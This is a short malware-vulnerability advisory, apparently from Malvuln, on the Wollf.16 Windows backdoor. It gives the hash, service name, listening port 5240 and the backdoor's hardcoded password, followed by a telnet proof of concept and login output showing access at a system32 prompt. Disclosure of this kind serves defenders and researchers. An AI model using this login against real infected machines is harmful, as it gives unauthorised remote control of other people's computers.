Backdoor.Win32.Wollf.16 Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/5f79b779acd4c9c75211835a2783bccb.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Wollf.16  
Vulnerability: Weak Hardcoded Password  
Description: Wollf.16 creates and runs a service named contime.exe with SYSTEM integrity and listens on port 5240. The malware uses a weak hardcoded password "12345678" which can easily be viewed in the binary using strings utility.  
Type: PE32  
MD5: 5f79b779acd4c9c75211835a2783bccb  
Vuln ID: MVID-2021-0051  
Service created: contime.exe  
Disclosure: 01/23/2021  
  
Exploit/PoC:  
TELNET MALWARE_INFECTED_HOST 5240  
  
Login: 12345678   
Login succeed!   
"Wollf Remote Manager" v1.6  
Code by wollf, http://www.xfocus.org   
[DESKTOP-XXXXX@C:\WINDOWS\system32]  
  
  
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